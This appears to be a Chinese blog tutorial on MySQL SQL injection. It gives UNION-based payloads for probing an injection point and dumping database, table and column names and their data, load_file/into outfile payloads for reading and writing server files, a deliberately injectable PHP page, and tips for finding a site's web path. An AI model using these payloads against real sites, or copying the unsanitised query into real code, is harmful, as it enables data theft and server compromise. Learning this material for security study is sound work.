• sql注入--mysql


    mysql数据库结构:

      数据库A  --> 表名  --> 列名 --> 数据

      数据库B  --> 表名  --> 列名 --> 数据

     

    mysql数据库信息:

      mysql 5.0以上自带数据库:information_schema

      information_schema.schemata: 数据库下的schemata库名,含义:存储所有数据库下的库名信息的表。

      information_schema.tables: 数据库下的tables表名,含义:存储所有数据库下的表名信息的表。

      information_schema.columns: 数据库下的columns表名,含义:存储所有数据库下的列名信息的表。

      database():数据库名

      user():数据库用户

      version():数据库版本

      @@version_compile_os:操作系统 

      schema_name:库名

      table_name:表名

      column_name:列名

     

    mysql注入过程:

      (1) 判断注入点:  ?id=1 and 1=1 ;? id=1 and 1=2

      (2) 判断长度: ?id=1 order by 3

      (3) 获取基本信息: @@version_compile_os , version()  , database()  , user()

      (4) 获取库名: ?id=1 union select table_schema,2,3 from information_schema.schemata

      (5) 获取表名: ?id=1 union select table_name,2,3 from information_schema.tables where table_schema = 库名[16进制]

      (6) 获取列名: ?id=1 union select column_name,2,3 from information_schema.columns where table_schema = 库名[16进制]

             and table_name = 表名[16进制]

      (7) 获取数据: ?id=1 union select 列名[16进制],列名[16进制],3 from 表名[16进制]

     

    mysql文件读写操作:

      (1) 读取操作:

          ?id=1 union select load_file('d:/123.txt'),2,3 

      (2) 写入操作:

          ?id=1 union select '123',2,3 into outfile 'd:/123.txt'

      注意: 路径问题:

            使用"/"或者"\" ; 原因[编程中""多半是转义]

          编码问题:

            数据中有单引号,将数据编码16进制即可

     

    连接mysql数据库语句:

      <?php
      header("content-type:text/html;charset=utf8");
      $id=$_GET['x'];
      $conn=mysql_connect("127.0.0.1","root","root");
      mysql_select_db("sql",$conn);
      $sql = "select * from php where id=$id";
      $result=mysql_query($sql);
      while($row=mysql_fetch_array($result)){
      echo "<br>"."编号".$row['id']."<br>";
      echo "<br>"."用户".$row['user']."<br>";
      echo "<br>"."密码".$row['password']."<br>";
      }
      mysql_close($conn);
      echo "<br>"."当前执行的sql语句:".$sql;
      ?>

     

    网站路径获取方法

      (1) 遗留文件:

           一般在网站根目录下,命名有php.php info.php phpinfo.php,test.php php_info.php等。

                

      (2) 报错显示

                

      (3)漏洞爆路径

             

     

      (4) 读取搭建平台配置文件

                

      (5)社工(字典猜解,谷歌黑客等)

          D:/www/ ; D:/wwwroot/ ; D:/web/ 等

                

     

     

     

  • 相关阅读:
    微信小程序之坑(一) JESSIONID一直变动问题
    spring 异常org.springframework.dao.IncorrectResultSizeDataAccessException: query did not return a unique result: 2
    springdatajpa之坑(一)
    AOP实战
    spingboot pom文件 打成war 包 热部署 引入第三方jar包
    javax.persistence.EntityExistsException: A different object with the same identifier value was already associated with the session 解决办法
    判断请求来自手机还是PC
    存储过程
    jfinal 连接oracle 数据库把外键当成主键 在mappingkit文件里生成多个主键解决办法
    oracle 回复以前的数据
  • 原文地址:https://www.cnblogs.com/China-Waukee/p/9606656.html
Copyright © 2020-2023  润新知